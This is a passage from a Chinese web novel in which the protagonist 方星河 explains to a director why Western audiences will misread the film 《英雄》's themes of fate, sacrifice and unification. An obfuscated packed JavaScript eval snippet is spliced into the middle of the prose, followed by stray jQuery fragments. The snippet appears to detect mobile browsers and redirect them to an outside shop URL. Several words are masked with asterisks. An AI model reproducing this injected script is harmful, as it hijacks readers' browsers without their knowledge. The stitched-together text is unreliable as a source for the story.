天命不可违，英雄多悲壮，西方人不用你去讲，他们自己就能预判。

    无名的死，将会变得顺理成章，充满悲壮意义和宿命色彩。

    而秦王发动战争的暴虐，在他们心中也会具备天命的合法性，使得这个人物从**，转变为英雄——一个不同立场的英雄。”

    在场众人听得目瞪口呆，抓耳挠腮。

    一方面不太敢信，一方面又深受触动。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|15979363|171215||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    不怪他们菜，而是时代使然。

    在这个历史节点上，西方文明高高在上，国人匍匐仰望，既不知高下，也不晓因何。

    方星河的阐述，实在太大胆，也太新鲜。

    振聋发聩有之，难以置信更多。

    老谋子实在忍不住，掏心掏肺的与方星河探讨。

    “我的思路，是要将中国传统侠义精神，进行一次深刻解读与重构。

    将传统侠客从‘以武犯禁’的个体反抗者，提升为心系天下苍生、为宏大秩序牺牲自我的悲剧英雄。

    其核心冲突在于秦王以‘止战’与‘天下’大义征服无名，使其认同统一是结束战乱的唯一途径，并甘愿牺牲个人生命成全此业。

    这也是悲剧，还是更高级别的牺牲，你为何笃定西方人宁肯接受天命，也不愿意赞美和平？”

    这是谋子第一次开诚布公谈他的思路。

    额，只能形容为……很傻很天真。

    其实方星河知道自己叫不醒他，谋子是个轴人，对电影以外的世界知之太少。

    但《英雄》不能由他胡闹，这可是方星河的第一部电影，挂名出品人、副导演、动作指导、男二号，又赌上了中国大片的内地自制之路，必须得**大黄二黑。

    方星河必须，也只能摧毁谋子的天真幻想。

    “第一，西方没有‘天下’价值观。

    这东西是中国传统**哲学中一个极其宏大和抽象的概念，它超越了国家、民族，指向一种更加普世的秩序和安宁。

    西方人信奉的是什么？

    个人英雄主义。

    个人价值至上。

    咱们中国人集体主义至上、牺牲小我成就大我的价值观，与西方个人主义的核心价值观存在根本冲突。

    第二，西方没有‘统一’价值观。

    欧洲历史是一部**的历史，几百小国，各过各的；城邦独立，种族优先。

    西方的集体，是以种族和血脉划分的。

    这种以军事征服、杀戮和高压统治进行的统一大业，在我们中国人看来是必要的，但在西方人眼里，不具备任何正当性。

    西方极其看重程序正义——最起码在表面上极其看重，所以就不可能接受秦王的理念。

    第三，西方媒体极其警惕来自中国的**理念。

    你在电影最后进行的说教，一定会被解读为‘用电影包装**宣传、美化**集权’，这是一个巨坑，能不踩就千万别踩。

    什么天下大义，那不就是**集权吗？

    我改过的剧本里也体现了**集权，但是，我用电影结束后的字幕去呈现，引导西方观众思考大一统文明的优秀，不影